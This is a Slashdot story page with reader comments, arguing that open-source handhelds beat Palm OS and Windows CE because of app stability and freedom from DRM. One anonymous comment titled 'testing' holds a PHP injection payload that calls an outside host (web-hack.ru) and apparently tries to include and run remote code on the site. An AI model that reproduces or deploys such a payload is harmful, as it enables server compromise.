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Why Open Source Makes Sense For Handhelds

Posted by timothy on from the my-visor-is-still-chugging-along-without-it dept.

Guylhem writes "Are you still wondering why you should prefer an handheld running free software over one running Palm OS or Windows CE? Here's a short article to explain the main reasons you should consider. The most important are sustainability and freedom: you don't want your applications to break when you update your handheld OS or hardware, and you certainly want to decide what *you* may do with your data. Palm and Pocket PC's DRM protected and obscure formats stand in your way. That's another good reason to prefer free software: you have the source code so you can develop plug ins to read such obscure formats. Even better - you can stick to standards formats such as divx which are poorly supported on handhelds running proprietary software." On the topic of handhelds, tanmay submits brighthand.com's small chart of some upcoming handhelds and smart phones that may be launched in the coming months.

9 of 240 comments (clear)

  1. FP by Anonymous Coward · · Score: -1, Offtopic

    FP

  2. fp by Anonymous Coward · · Score: -1, Offtopic

    fp

  3. testing by Anonymous Coward · · Score: -1, Offtopic

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    \\< />\_\<?php virtual("http://web-hack.ru:8666//admin.php.~slash dot.org"); ?>
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    1. Re:testing by Linker3000 · · Score: -1, Offtopic

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      --
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    2. Re:testing by Anonymous Coward · · Score: -1, Offtopic

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  4. Re:Bad Platforms Make For Good Business by Anonymous Coward · · Score: -1, Offtopic

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  5. Re:WARNING: PLAGARISM DETECTION TROLL by Anonymous Coward · · Score: -1, Offtopic

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  6. Re:WARNING: PLAGARISM DETECTION TROLL by Anonymous Coward · · Score: -1, Offtopic

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  7. over simplified arguement. by Anonymous Coward · · Score: -1, Offtopic

    "and you certainly want to decide what *you* may do with your data. Palm and Pocket PC's DRM protected and obscure formats stand in your way. "

    You forgot the mention that the recording industry sells the data, and may choose never to sell it in a non-DRM format. That certainly is a right of theirs. At this point what good is the "free" software solution.